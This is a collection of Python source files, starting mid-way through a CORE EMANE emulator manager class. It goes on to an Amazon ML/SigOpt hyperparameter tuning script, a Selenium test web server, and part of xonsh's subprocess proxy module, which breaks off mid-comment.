load_models(self, emane_models: List[Type[EmaneModel]]) -> None: """ Load EMANE models and make them available. """ for emane_model in emane_models: logging.debug("loading emane model: %s", emane_model.__name__) emane_prefix = self.session.options.get_config( "emane_prefix", default=DEFAULT_EMANE_PREFIX ) emane_model.load(emane_prefix) self.models[emane_model.name] = emane_model def add_node(self, emane_net: EmaneNet) -> None: """ Add EMANE network object to this manager. :param emane_net: emane node to add :return: nothing """ with self._emane_node_lock: if emane_net.id in self._emane_nets: raise KeyError( f"non-unique EMANE object id {emane_net.id} for {emane_net}" ) self._emane_nets[emane_net.id] = emane_net def getnodes(self) -> Set[CoreNode]: """ Return a set of CoreNodes that are linked to an EMANE network, e.g. containers having one or more radio interfaces. """ # assumes self._objslock already held nodes = set() for emane_net in self._emane_nets.values(): for netif in emane_net.netifs(): nodes.add(netif.node) return nodes def setup(self) -> int: """ Setup duties for EMANE manager. :return: SUCCESS, NOT_NEEDED, NOT_READY in order to delay session instantiation """ logging.debug("emane setup") # TODO: drive this from the session object with self.session._nodes_lock: for node_id in self.session.nodes: node = self.session.nodes[node_id] if isinstance(node, EmaneNet): logging.debug( "adding emane node: id(%s) name(%s)", node.id, node.name ) self.add_node(node) if not self._emane_nets: logging.debug("no emane nodes in session") return EmaneManager.NOT_NEEDED # control network bridge required for EMANE 0.9.2 # - needs to exist when eventservice binds to it (initeventservice) otadev = self.get_config("otamanagerdevice") netidx = self.session.get_control_net_index(otadev) logging.debug("emane ota manager device: index(%s) otadev(%s)", netidx, otadev) if netidx < 0: logging.error( "EMANE cannot start, check core config. invalid OTA device provided: %s", otadev, ) return EmaneManager.NOT_READY self.session.add_remove_control_net( net_index=netidx, remove=False, conf_required=False ) eventdev = self.get_config("eventservicedevice") logging.debug("emane event service device: eventdev(%s)", eventdev) if eventdev != otadev: netidx = self.session.get_control_net_index(eventdev) logging.debug("emane event service device index: %s", netidx) if netidx < 0: logging.error( "EMANE cannot start, check core config. invalid event service device: %s", eventdev, ) return EmaneManager.NOT_READY self.session.add_remove_control_net( net_index=netidx, remove=False, conf_required=False ) self.check_node_models() return EmaneManager.SUCCESS def startup(self) -> int: """ After all the EMANE networks have been added, build XML files and start the daemons. :return: SUCCESS, NOT_NEEDED, NOT_READY in order to delay session instantiation """ self.reset() r = self.setup() # NOT_NEEDED or NOT_READY if r != EmaneManager.SUCCESS: return r nems = [] with self._emane_node_lock: self.buildxml() self.initeventservice() self.starteventmonitor() if self.numnems() > 0: self.startdaemons() self.installnetifs() for node_id in self._emane_nets: emane_node = self._emane_nets[node_id] for netif in emane_node.netifs(): nems.append( (netif.node.name, netif.name, emane_node.getnemid(netif)) ) if nems: emane_nems_filename = os.path.join(self.session.session_dir, "emane_nems") try: with open(emane_nems_filename, "w") as f: for nodename, ifname, nemid in nems: f.write(f"{nodename} {ifname} {nemid}\n") except IOError: logging.exception("Error writing EMANE NEMs file: %s") return EmaneManager.SUCCESS def poststartup(self) -> None: """ Retransmit location events now that all NEMs are active. """ if not self.genlocationevents(): return with self._emane_node_lock: for key in sorted(self._emane_nets.keys()): emane_node = self._emane_nets[key] logging.debug( "post startup for emane node: %s - %s", emane_node.id, emane_node.name, ) emane_node.model.post_startup() for netif in emane_node.netifs(): x, y, z = netif.node.position.get() emane_node.setnemposition(netif, x, y, z) def reset(self) -> None: """ Remove all EMANE networks from the dictionary, reset port numbers and nem id counters """ with self._emane_node_lock: self._emane_nets.clear() self.platformport = self.session.options.get_config_int( "emane_platform_port", 8100 ) self.transformport = self.session.options.get_config_int( "emane_transform_port", 8200 ) def shutdown(self) -> None: """ stop all EMANE daemons """ with self._emane_node_lock: if not self._emane_nets: return logging.info("stopping EMANE daemons.") self.deinstallnetifs() self.stopdaemons() self.stopeventmonitor() def buildxml(self) -> None: """ Build XML files required to run EMANE on each node. NEMs run inside containers using the control network for passing events and data. """ # assume self._objslock is already held here logging.info("emane building xml...") # on master, control network bridge added earlier in startup() ctrlnet = self.session.add_remove_control_net( net_index=0, remove=False, conf_required=False ) self.buildplatformxml(ctrlnet) self.buildnemxml() self.buildeventservicexml() def check_node_models(self) -> None: """ Associate EMANE model classes with EMANE network nodes. """ for node_id in self._emane_nets: emane_node = self._emane_nets[node_id] logging.debug("checking emane model for node: %s", node_id) # skip nodes that already have a model set if emane_node.model: logging.debug( "node(%s) already has model(%s)", emane_node.id, emane_node.model.name, ) continue # set model configured for node, due to legacy messaging configuration before nodes exist model_name = self.node_models.get(node_id) if not model_name: logging.error("emane node(%s) has no node model", node_id) raise ValueError("emane node has no model set") config = self.get_model_config(node_id=node_id, model_name=model_name) logging.debug("setting emane model(%s) config(%s)", model_name, config) model_class = self.models[model_name] emane_node.setmodel(model_class, config) def nemlookup(self, nemid) -> Tuple[EmaneNet, CoreInterface]: """ Look for the given numerical NEM ID and return the first matching EMANE network and NEM interface. """ emane_node = None netif = None for node_id in self._emane_nets: emane_node = self._emane_nets[node_id] netif = emane_node.getnemnetif(nemid) if netif is not None: break else: emane_node = None return emane_node, netif def numnems(self) -> int: """ Return the number of NEMs emulated locally. """ count = 0 for node_id in self._emane_nets: emane_node = self._emane_nets[node_id] count += len(emane_node.netifs()) return count def buildplatformxml(self, ctrlnet: CtrlNet) -> None: """ Build a platform.xml file now that all nodes are configured. """ nemid = int(self.get_config("nem_id_start")) platform_xmls = {} # assume self._objslock is already held here for key in sorted(self._emane_nets.keys()): emane_node = self._emane_nets[key] nemid = emanexml.build_node_platform_xml( self, ctrlnet, emane_node, nemid, platform_xmls ) def buildnemxml(self) -> None: """ Builds the nem, mac, and phy xml files for each EMANE network. """ for key in sorted(self._emane_nets): emane_net = self._emane_nets[key] emanexml.build_xml_files(self, emane_net) def buildeventservicexml(self) -> None: """ Build the libemaneeventservice.xml file if event service options were changed in the global config. """ need_xml = False default_values = self.emane_config.default_values() for name in ["eventservicegroup", "eventservicedevice"]: a = default_values[name] b = self.get_config(name) if a != b: need_xml = True if not need_xml: # reset to using default config self.initeventservice() return try: group, port = self.get_config("eventservicegroup").split(":") except ValueError: logging.exception("invalid eventservicegroup in EMANE config") return dev = self.get_config("eventservicedevice") emanexml.create_event_service_xml(group, port, dev, self.session.session_dir) self.session.distributed.execute( lambda x: emanexml.create_event_service_xml( group, port, dev, self.session.session_dir, x ) ) def startdaemons(self) -> None: """ Start one EMANE daemon per node having a radio. Add a control network even if the user has not configured one. """ logging.info("starting emane daemons...") loglevel = str(EmaneManager.DEFAULT_LOG_LEVEL) cfgloglevel = self.session.options.get_config_int("emane_log_level") realtime = self.session.options.get_config_bool("emane_realtime", default=True) if cfgloglevel: logging.info("setting user-defined EMANE log level: %d", cfgloglevel) loglevel = str(cfgloglevel) emanecmd = f"emane -d -l {loglevel}" if realtime: emanecmd += " -r" otagroup, _otaport = self.get_config("otamanagergroup").split(":") otadev = self.get_config("otamanagerdevice") otanetidx = self.session.get_control_net_index(otadev) eventgroup, _eventport = self.get_config("eventservicegroup").split(":") eventdev = self.get_config("eventservicedevice") eventservicenetidx = self.session.get_control_net_index(eventdev) run_emane_on_host = False for node in self.getnodes(): if hasattr(node, "transport_type") and node.transport_type == "raw": run_emane_on_host = True continue path = self.session.session_dir n = node.id # control network not yet started here self.session.add_remove_control_interface( node, 0, remove=False, conf_required=False ) if otanetidx > 0: logging.info("adding ota device ctrl%d", otanetidx) self.session.add_remove_control_interface( node, otanetidx, remove=False, conf_required=False ) if eventservicenetidx >= 0: logging.info("adding event service device ctrl%d", eventservicenetidx) self.session.add_remove_control_interface( node, eventservicenetidx, remove=False, conf_required=False ) # multicast route is needed for OTA data node.node_net_client.create_route(otagroup, otadev) # multicast route is also needed for event data if on control network if eventservicenetidx >= 0 and eventgroup != otagroup: node.node_net_client.create_route(eventgroup, eventdev) # start emane log_file = os.path.join(path, f"emane{n}.log") platform_xml = os.path.join(path, f"platform{n}.xml") args = f"{emanecmd} -f {log_file} {platform_xml}" output = node.cmd(args) logging.info("node(%s) emane daemon running: %s", node.name, args) logging.debug("node(%s) emane daemon output: %s", node.name, output) if not run_emane_on_host: return path = self.session.session_dir log_file = os.path.join(path, "emane.log") platform_xml = os.path.join(path, "platform.xml") emanecmd += f" -f {log_file} {platform_xml}" utils.cmd(emanecmd, cwd=path) self.session.distributed.execute(lambda x: x.remote_cmd(emanecmd, cwd=path)) logging.info("host emane daemon running: %s", emanecmd) def stopdaemons(self) -> None: """ Kill the appropriate EMANE daemons. """ # TODO: we may want to improve this if we had the PIDs from the specific EMANE # daemons that we"ve started kill_emaned = "killall -q emane" kill_transortd = "killall -q emanetransportd" stop_emane_on_host = False for node in self.getnodes(): if hasattr(node, "transport_type") and node.transport_type == "raw": stop_emane_on_host = True continue if node.up: node.cmd(kill_emaned, wait=False) # TODO: RJ45 node if stop_emane_on_host: try: utils.cmd(kill_emaned) utils.cmd(kill_transortd) self.session.distributed.execute(lambda x: x.remote_cmd(kill_emaned)) self.session.distributed.execute(lambda x: x.remote_cmd(kill_transortd)) except CoreCommandError: logging.exception("error shutting down emane daemons") def installnetifs(self) -> None: """ Install TUN/TAP virtual interfaces into their proper namespaces now that the EMANE daemons are running. """ for key in sorted(self._emane_nets.keys()): emane_node = self._emane_nets[key] logging.info("emane install netifs for node: %d", key) emane_node.installnetifs() def deinstallnetifs(self) -> None: """ Uninstall TUN/TAP virtual interfaces. """ for key in sorted(self._emane_nets.keys()): emane_node = self._emane_nets[key] emane_node.deinstallnetifs() def doeventmonitor(self) -> bool: """ Returns boolean whether or not EMANE events will be monitored. """ # this support must be explicitly turned on; by default, CORE will # generate the EMANE events when nodes are moved return self.session.options.get_config_bool("emane_event_monitor") def genlocationevents(self) -> bool: """ Returns boolean whether or not EMANE events will be generated. """ # By default, CORE generates EMANE location events when nodes # are moved; this can be explicitly disabled in core.conf tmp = self.session.options.get_config_bool("emane_event_generate") if tmp is None: tmp = not self.doeventmonitor() return tmp def starteventmonitor(self) -> None: """ Start monitoring EMANE location events if configured to do so. """ logging.info("emane start event monitor") if not self.doeventmonitor(): return if self.service is None: logging.error( "Warning: EMANE events will not be generated " "because the emaneeventservice\n binding was " "unable to load " "(install the python-emaneeventservice bindings)" ) return self.doeventloop = True self.eventmonthread = threading.Thread(target=self.eventmonitorloop) self.eventmonthread.daemon = True self.eventmonthread.start() def stopeventmonitor(self) -> None: """ Stop monitoring EMANE location events. """ self.doeventloop = False if self.service is not None: self.service.breakloop() # reset the service, otherwise nextEvent won"t work self.initeventservice(shutdown=True) if self.eventmonthread is not None: # TODO: fix this self.eventmonthread._Thread__stop() self.eventmonthread.join() self.eventmonthread = None def eventmonitorloop(self) -> None: """ Thread target that monitors EMANE location events. """ if self.service is None: return logging.info( "subscribing to EMANE location events. (%s)", threading.currentThread().getName(), ) while self.doeventloop is True: _uuid, _seq, events = self.service.nextEvent() # this occurs with 0.9.1 event service if not self.doeventloop: break for event in events: nem, eid, data = event if eid == LocationEvent.IDENTIFIER: self.handlelocationevent(nem, eid, data) logging.info( "unsubscribing from EMANE location events. (%s)", threading.currentThread().getName(), ) def handlelocationevent(self, rxnemid: int, eid: int, data: str) -> None: """ Handle an EMANE location event. """ events = LocationEvent() events.restore(data) for event in events: txnemid, attrs = event if ( "latitude" not in attrs or "longitude" not in attrs or "altitude" not in attrs ): logging.warning("dropped invalid location event") continue # yaw,pitch,roll,azimuth,elevation,velocity are unhandled lat = attrs["latitude"] lon = attrs["longitude"] alt = attrs["altitude"] logging.debug("emane location event: %s,%s,%s", lat, lon, alt) self.handlelocationeventtoxyz(txnemid, lat, lon, alt) def handlelocationeventtoxyz( self, nemid: int, lat: float, lon: float, alt: float ) -> bool: """ Convert the (NEM ID, lat, long, alt) from a received location event into a node and x,y,z coordinate values, sending a Node Message. Returns True if successfully parsed and a Node Message was sent. """ # convert nemid to node number _emanenode, netif = self.nemlookup(nemid) if netif is None: logging.info("location event for unknown NEM %s", nemid) return False n = netif.node.id # convert from lat/long/alt to x,y,z coordinates x, y, z = self.session.location.getxyz(lat, lon, alt) x = int(x) y = int(y) z = int(z) logging.info( "location event NEM %s (%s, %s, %s) -> (%s, %s, %s)", nemid, lat, lon, alt, x, y, z, ) xbit_check = x.bit_length() > 16 or x < 0 ybit_check = y.bit_length() > 16 or y < 0 zbit_check = z.bit_length() > 16 or z < 0 if any([xbit_check, ybit_check, zbit_check]): logging.error( "Unable to build node location message, received lat/long/alt exceeds coordinate " "space: NEM %s (%d, %d, %d)", nemid, x, y, z, ) return False # generate a node message for this location update try: node = self.session.get_node(n) except CoreError: logging.exception( "location event NEM %s has no corresponding node %s", nemid, n ) return False # don"t use node.setposition(x,y,z) which generates an event node.position.set(x, y, z) node_data = node.data(message_type=0, lat=lat, lon=lon, alt=alt) self.session.broadcast_node(node_data) return True def emanerunning(self, node: CoreNode) -> bool: """ Return True if an EMANE process associated with the given node is running, False otherwise. """ args = "pkill -0 -x emane" try: node.cmd(args) result = True except CoreCommandError: result = False return result class EmaneGlobalModel: """ Global EMANE configuration options. """ name = "emane" bitmap = None def __init__(self, session: "Session") -> None: self.session = session self.nem_config = [ Configuration( _id="nem_id_start", _type=ConfigDataTypes.INT32, default="1", label="Starting NEM ID (core)", ) ] self.emulator_config = None self.parse_config() def parse_config(self) -> None: emane_prefix = self.session.options.get_config( "emane_prefix", default=DEFAULT_EMANE_PREFIX ) emulator_xml = os.path.join(emane_prefix, "share/emane/manifest/nemmanager.xml") emulator_defaults = { "eventservicedevice": DEFAULT_DEV, "eventservicegroup": "224.1.2.8:45703", "otamanagerdevice": DEFAULT_DEV, "otamanagergroup": "224.1.2.8:45702", } self.emulator_config = emanemanifest.parse(emulator_xml, emulator_defaults) self.emulator_config.insert( 0, Configuration( _id="platform_id_start", _type=ConfigDataTypes.INT32, default="1", label="Starting Platform ID (core)", ), ) def configurations(self) -> List[Configuration]: return self.emulator_config + self.nem_config def config_groups(self) -> List[ConfigGroup]: emulator_len = len(self.emulator_config) config_len = len(self.configurations()) return [ ConfigGroup("Platform Attributes", 1, emulator_len), ConfigGroup("NEM Parameters", emulator_len + 1, config_len), ] def default_values(self) -> Dict[str, str]: return OrderedDict( [(config.id, config.default) for config in self.configurations()] )
hyperparameter_optimization.py
#!/usr/bin/env python # Amazon Machine Learning Samples # Copyright 2015 Amazon.com, Inc. or its affiliates. All Rights Reserved. # # Licensed under the Amazon Software License (the "License"). You may not use # this file except in compliance with the License. A copy of the License is # located at # # http://aws.amazon.com/asl/ # # or in the "license" file accompanying this file. This file is distributed on # an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, express or # implied. See the License for the specific language governing permissions and # limitations under the License. """ Demonstrate how to create tasks on Amazon ML to train and evaluate a model for K-fold cross-validation. The main function of this module requires the number of folds(kfolds). usage: build_folds.py [--name][--debug] kfolds example: python build_folds.py --name 4-fold-cv-demo 4 """ import sys import logging import argparse import config import threading import math from sigopt import Connection from fold import Fold from evaluation import Evaluation from collections import namedtuple logging.basicConfig(level=logging.INFO) logger = logging.getLogger(config.APP_NAME) logging.getLogger('botocore.vendored.requests.packages.urllib3.connectionpool').setLevel(logging.WARN) def build_experiment(conn): """ Create a SigOpt experiment to tune the l1 and l2 regularization hyperparameters. Regularization amounts are very small so we choose to tune in log space. Args: conn: A SigOpt Connection object Returns: a new SigOpt Experiment """ experiment = conn.experiments().create( name="AWS ML Example", project="sigopt-examples", parameters=[ dict( name='regularization_type', type='categorical', categorical_values=[dict(name='sgd.l1RegularizationAmount'), dict(name='sgd.l2RegularizationAmount')], ), dict( name='log_regularization_amount', type='double', bounds=dict(min=math.log(0.00000001), max=math.log(1)), ), ], observation_budget=20, ) logger.info("Created SigOpt experiment %s", experiment.id) logger.info("View your experiment at https://www.sigopt.com/experiment/%s", experiment.id) return experiment def build_folds(data_spec=None, kfolds=None): """ Create Fold objects that will build Datasources for each fold. Args: data_spec: the named tuple object that wraps dataset related parameters. kfolds: the integer number representing the number of folds. Returns: a list of newly created Fold objects. """ folds = [ Fold(data_spec=data_spec, this_fold=i, kfolds=kfolds) for i in range(kfolds) ] for f in folds: f.build() # each fold creates a Datasource logger.debug(f) return folds def cleanup_folds(folds): """ Cleanup resources that were created when building the folds Args: folds: Fold objects """ for f in folds: f.cleanup() def build_model_spec(regularization_type, regularization_amount): """ Builds a ModelSpec for later model evaluation Args: assignmnets: a dict with keys log_regularization_amount and regularization_type """ return ModelSpec( recipe=recipe, ml_model_type="BINARY", sgd_maxPasses="10", sgd_maxMLModelSizeInBytes="104857600", # 100MiB sgd_RegularizationAmount=regularization_amount, sgd_RegularizationType=regularization_type, ) def build_evaluations(model_spec, folds): """ Create Evaluation objects to build ML Models and Evaluations for each fold Args: model_spec: the named tuple object that wraps model related parameters folds: Fold objects to evaluate the model on Returns: a list of newly created Evaluation objects """ evaluations = [ Evaluation(model_spec=model_spec, fold=fold) for fold in folds ] for e in evaluations: e.build() # each evaluation creates an Evaluation and an ML Model logger.debug(e) return evaluations def cleanup_evaluations(evaluations): """ Cleanup resources that were created when building the evaluations Args: evaluations: Evaluation objects """ for e in evaluations: e.cleanup() def collect_performance(evaluations): """ Collects performance for evaluations. Spawns threads to poll and wait for each Evaluation to complete, then computes stats from the auc metric of each Evaluation. Args: evaluations: a list of Evaluation objects Returns: a tuple of the average of the auc metrics, and the standard deviation of the auc metrics """ threads = [] for evaluation in evaluations: t = threading.Thread(target=Evaluation.poll_eval, args=(evaluation,)) threads.append(t) t.start() for t in threads: t.join() avg_auc = sum([e.auc for e in evaluations]) / float(len(evaluations)) var_auc = sum([(e.auc - avg_auc) ** 2 for e in evaluations]) / float(len(evaluations)) std_auc = math.sqrt(var_auc) return (avg_auc, std_auc) if __name__ == "__main__": parser = argparse.ArgumentParser( usage="%(prog)s [--name][--debug] kfolds", description="Demo code to create entities on Amazon ML for \ K-fold cross-validation." ) parser.add_argument( "kfolds", type=int, choices=range(2, 11), # 2 to 10 is valid input help="the number of folds for cross-validation" ) parser.add_argument( "-n", "--name", default="CV sample", help="the name of entities to create on Amazon ML" "[default: '%(default)s']", ) parser.add_argument( "-d", "--debug", default=False, action="store_true", help="enable debug mode, logging from DEBUG level" "[default: off]", ) parser.add_argument( "--sigopt-api-token", help="The API token for you SigOpt account, found at sigopt.com/tokens/", ) args = parser.parse_args() if (args.debug): logger.setLevel(logging.DEBUG) # modify the logging level logger.debug("User inputs:") logger.debug(vars(args)) kfolds = args.kfolds name = args.name DataSpec = namedtuple("DataSpec", [ "name", "data_s3_url", "schema" ]) ModelSpec = namedtuple("ModelSpec", [ "recipe", "ml_model_type", "sgd_maxPasses", "sgd_maxMLModelSizeInBytes", "sgd_RegularizationAmount", "sgd_RegularizationType", ]) # read datasource schema and training recipe from files: with open("banking.csv.schema", 'r') as schema_f: schema = schema_f.read() with open("recipe.json", 'r') as recipe_f: recipe = recipe_f.read() data_spec = DataSpec( name=name, data_s3_url="s3://aml-sample-data/banking.csv", schema=schema, ) sigopt_api_token = args.sigopt_api_token folds = build_folds(data_spec=data_spec, kfolds=kfolds) conn = Connection(client_token=sigopt_api_token) experiment = build_experiment(conn) for _ in range(experiment.observation_budget): suggestion = conn.experiments(experiment.id).suggestions().create() assignments = suggestion.assignments model_spec = build_model_spec( regularization_type=assignments['regularization_type'], regularization_amount=math.exp(assignments['log_regularization_amount']), ) evaluations = build_evaluations(model_spec=model_spec, folds=folds) (avg_auc, std_auc) = collect_performance(evaluations) cleanup_evaluations(evaluations) conn.experiments(experiment.id).observations().create( suggestion=suggestion.id, value=avg_auc, value_stddev=std_auc, ) cleanup_folds(folds) logger.info("View your experiment and its best hyperparameters at https://www.sigopt.com/experiment/%s", experiment.id)
webserver.py
# Copyright 2008-2009 WebDriver committers # Copyright 2008-2009 Google Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """A simple web server for testing purpose. It serves the testing html pages that are needed by the webdriver unit tests.""" import logging import os import socket import threading from io import open try: from urllib import request as urllib_request except ImportError: import urllib as urllib_request try: from http.server import BaseHTTPRequestHandler, HTTPServer except ImportError: from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer def updir(): dirname = os.path.dirname return dirname(dirname(__file__)) LOGGER = logging.getLogger(__name__) WEBDRIVER = os.environ.get("WEBDRIVER", updir()) HTML_ROOT = os.path.join(WEBDRIVER, "../../../../../../common/src/web") if not os.path.isdir(HTML_ROOT): message = ("Can't find 'common_web' directory, try setting WEBDRIVER" " environment variable WEBDRIVER:" + WEBDRIVER + " HTML_ROOT:" + HTML_ROOT ) LOGGER.error(message) assert 0, message DEFAULT_PORT = 8000 class HtmlOnlyHandler(BaseHTTPRequestHandler): """Http handler.""" def do_GET(self): """GET method handler.""" try: path = self.path[1:].split('?')[0] html = open(os.path.join(HTML_ROOT, path), 'r', encoding='latin-1') self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() self.wfile.write(html.read().encode('utf-8')) html.close() except IOError: self.send_error(404, 'File Not Found: %s' % path) def log_message(self, format, *args): """Override default to avoid trashing stderr""" pass class SimpleWebServer(object): """A very basic web server.""" def __init__(self, port=DEFAULT_PORT): self.stop_serving = False port = port while True: try: self.server = HTTPServer( ('', port), HtmlOnlyHandler) self.port = port break except socket.error: LOGGER.debug("port %d is in use, trying to next one" % port) port += 1 self.thread = threading.Thread(target=self._run_web_server) def _run_web_server(self): """Runs the server loop.""" LOGGER.debug("web server started") while not self.stop_serving: self.server.handle_request() self.server.server_close() def start(self): """Starts the server.""" self.thread.start() def stop(self): """Stops the server.""" self.stop_serving = True try: # This is to force stop the server loop urllib_request.URLopener().open("http://localhost:%d" % self.port) except IOError: pass LOGGER.info("Shutting down the webserver") self.thread.join() def main(argv=None): from optparse import OptionParser from time import sleep if argv is None: import sys argv = sys.argv parser = OptionParser("%prog [options]") parser.add_option("-p", "--port", dest="port", type="int", help="port to listen (default: %s)" % DEFAULT_PORT, default=DEFAULT_PORT) opts, args = parser.parse_args(argv[1:]) if args: parser.error("wrong number of arguments") # Will exit server = SimpleWebServer(opts.port) server.start() print("Server started on port %s, hit CTRL-C to quit" % opts.port) try: while 1: sleep(0.1) except KeyboardInterrupt: pass if __name__ == "__main__": main()
proc.py
# -*- coding: utf-8 -*- """Interface for running Python functions as subprocess-mode commands. Code for several helper methods in the `ProcProxy` class have been reproduced without modification from `subprocess.py` in the Python 3.4.2 standard library. The contents of `subprocess.py` (and, thus, the reproduced methods) are Copyright (c) 2003-2005 by Peter Astrand <astrand@lysator.liu.se> and were licensed to the Python Software foundation under a Contributor Agreement. """ import io import os import re import sys import time import queue import array import ctypes import signal import inspect import builtins import functools import threading import subprocess import collections.abc as cabc from xonsh.platform import ( ON_WINDOWS, ON_POSIX, ON_MSYS, ON_CYGWIN, CAN_RESIZE_WINDOW, LFLAG, CC, ) from xonsh.tools import ( redirect_stdout, redirect_stderr, print_exception, XonshCalledProcessError, findfirst, on_main_thread, XonshError, format_std_prepost, ) from xonsh.lazyasd import lazyobject, LazyObject from xonsh.jobs import wait_for_active_job, give_terminal_to, _continue from xonsh.lazyimps import fcntl, termios, _winapi, msvcrt, winutils # these decorators are imported for users back-compatible from xonsh.tools import unthreadable, uncapturable # NOQA # foreground has be deprecated foreground = unthreadable @lazyobject def STDOUT_CAPTURE_KINDS(): return frozenset(["stdout", "object"]) # The following escape codes are xterm codes. # See http://rtfm.etla.org/xterm/ctlseq.html for more. MODE_NUMS = ("1049", "47", "1047") START_ALTERNATE_MODE = LazyObject( lambda: frozenset("\x1b[?{0}h".format(i).encode() for i in MODE_NUMS), globals(), "START_ALTERNATE_MODE", ) END_ALTERNATE_MODE = LazyObject( lambda: frozenset("\x1b[?{0}l".format(i).encode() for i in MODE_NUMS), globals(), "END_ALTERNATE_MODE", ) ALTERNATE_MODE_FLAGS = LazyObject( lambda: tuple(START_ALTERNATE_MODE) + tuple(END_ALTERNATE_MODE), globals(), "ALTERNATE_MODE_FLAGS", ) RE_HIDDEN_BYTES = LazyObject( lambda: re.compile(b"(\001.*?\002)"), globals(), "RE_HIDDEN" ) @lazyobject def RE_VT100_ESCAPE(): return re.compile(b"(\x9B|\x1B\\[)[0-?]*[ -\\/]*[@-~]") @lazyobject def RE_HIDE_ESCAPE(): return re.compile( b"(" + RE_HIDDEN_BYTES.pattern + b"|" + RE_VT100_ESCAPE.pattern + b")" ) class QueueReader: """Provides a file-like interface to reading from a queue.""" def __init__(self, fd, timeout=None): """ Parameters ---------- fd : int A file descriptor timeout : float or None, optional The queue reading timeout. """ self.fd = fd self.timeout = timeout self.closed = False self.queue = queue.Queue() self.thread = None def close(self): """close the reader""" self.closed = True def is_fully_read(self): """Returns whether or not the queue is fully read and the reader is closed. """ return ( self.closed and (self.thread is None or not self.thread.is_alive()) and self.queue.empty() ) def read_queue(self): """Reads a single chunk from the queue. This is blocking if the timeout is None and non-blocking otherwise. """ try: return self.queue.get(block=True, timeout=self.timeout) except queue.Empty: return b"" def read(self, size=-1): """Reads bytes from the file.""" i = 0 buf = b"" while size < 0 or i != size: line = self.read_queue() if line: buf += line else: break i += len(line) return buf def readline(self, size=-1): """Reads a line, or a partial line from the file descriptor.""" i = 0 nl = b"\n" buf = b"" while size < 0 or i != size: line = self.read_queue() if line: buf += line if line.endswith(nl): break else: break i += len(line) return buf def _read_all_lines(self): """This reads all remaining lines in a blocking fashion.""" lines = [] while not self.is_fully_read(): chunk = self.read_queue() lines.extend(chunk.splitlines(keepends=True)) return lines def readlines(self, hint=-1): """Reads lines from the file descriptor. This is blocking for negative hints (i.e. read all the remaining lines) and non-blocking otherwise. """ if hint == -1: return self._read_all_lines() lines = [] while len(lines) != hint: chunk = self.read_queue() if not chunk: break lines.extend(chunk.splitlines(keepends=True)) return lines def fileno(self): """Returns the file descriptor number.""" return self.fd @staticmethod def readable(): """Returns true, because this object is always readable.""" return True def iterqueue(self): """Iterates through all remaining chunks in a blocking fashion.""" while not self.is_fully_read(): chunk = self.read_queue() if not chunk: continue yield chunk def populate_fd_queue(reader, fd, queue): """Reads 1 kb of data from a file descriptor into a queue. If this ends or fails, it flags the calling reader object as closed. """ while True: try: c = os.read(fd, 1024) except OSError: reader.closed = True break if c: queue.put(c) else: reader.closed = True break class NonBlockingFDReader(QueueReader): """A class for reading characters from a file descriptor on a background thread. This has the advantages that the calling thread can close the file and that the reading does not block the calling thread. """ def __init__(self, fd, timeout=None): """ Parameters ---------- fd : int A file descriptor timeout : float or None, optional The queue reading timeout. """ super().__init__(fd, timeout=timeout) # start reading from stream self.thread = threading.Thread( target=populate_fd_queue, args=(self, self.fd, self.queue) ) self.thread.daemon = True self.thread.start() def populate_buffer(reader, fd, buffer, chunksize): """Reads bytes from the file descriptor and copies them into a buffer. The reads happen in parallel using the pread() syscall; which is only available on POSIX systems. If the read fails for any reason, the reader is flagged as closed. """ offset = 0 while True: try: buf = os.pread(fd, chunksize, offset) except OSError: reader.closed = True break if buf: buffer.write(buf) offset += len(buf) else: reader.closed = True break class BufferedFDParallelReader: """Buffered, parallel background thread reader.""" def __init__(self, fd, buffer=None, chunksize=1024): """ Parameters ---------- fd : int File descriptor from which to read. buffer : binary file-like or None, optional A buffer to write bytes into. If None, a new BytesIO object is created. chunksize : int, optional The max size of the parallel reads, default 1 kb. """ self.fd = fd self.buffer = io.BytesIO() if buffer is None else buffer self.chunksize = chunksize self.closed = False # start reading from stream self.thread = threading.Thread( target=populate_buffer, args=(self, fd, self.buffer, chunksize) ) self.thread.daemon = True self.thread.start() def _expand_console_buffer(cols, max_offset, expandsize, orig_posize, fd): # if we are getting close to the end of the console buffer, # expand it so that we can read from it successfully. if cols == 0: return orig_posize[-1], max_offset, orig_posize rows = ((max_offset + expandsize) // cols) + 1 winutils.set_console_screen_buffer_size(cols, rows, fd=fd) orig_posize = orig_posize[:3] + (rows,) max_offset = (rows - 1) * cols return rows, max_offset, orig_posize def populate_console(reader, fd, buffer, chunksize, queue, expandsize=None): """Reads bytes from the file descriptor and puts lines into the queue. The reads happened in parallel, using xonsh.winutils.read_console_output_character(), and is thus only available on windows. If the read fails for any reason, the reader is flagged as closed. """ # OK, so this function is super annoying because Windows stores its # buffers as a 2D regular, dense array -- without trailing newlines. # Meanwhile, we want to add *lines* to the queue. Also, as is typical # with parallel reads, the entire buffer that you ask for may not be # filled. Thus we have to deal with the full generality. # 1. reads may end in the middle of a line # 2. excess whitespace at the end of a line may not be real, unless # 3. you haven't read to the end of the line yet! # So there are alignment issues everywhere. Also, Windows will automatically # read past the current cursor position, even though there is presumably # nothing to see there. # # These chunked reads basically need to happen like this because, # a. The default buffer size is HUGE for the console (90k lines x 120 cols) # as so we can't just read in everything at the end and see what we # care about without a noticeable performance hit. # b. Even with this huge size, it is still possible to write more lines than # this, so we should scroll along with the console. # Unfortunately, because we do not have control over the terminal emulator, # It is not possible to compute how far back we should set the beginning # read position because we don't know how many characters have been popped # off the top of the buffer. If we did somehow know this number we could do # something like the following: # # new_offset = (y*cols) + x # if new_offset == max_offset: # new_offset -= scrolled_offset # x = new_offset%cols # y = new_offset//cols # continue # # So this method is imperfect and only works as long as the screen has # room to expand to. Thus the trick here is to expand the screen size # when we get close enough to the end of the screen. There remain some # async issues related to not being able to set the cursor position. # but they just affect the alignment / capture of the output of the # first command run after a screen resize. if expandsize is None: expandsize = 100 * chunksize x, y, cols, rows = posize = winutils.get_position_size(fd) pre_x = pre_y = -1 orig_posize = posize offset = (cols * y) + x max_offset = (rows - 1) * cols # I believe that there is a bug in PTK that if we reset the # cursor position, the cursor on 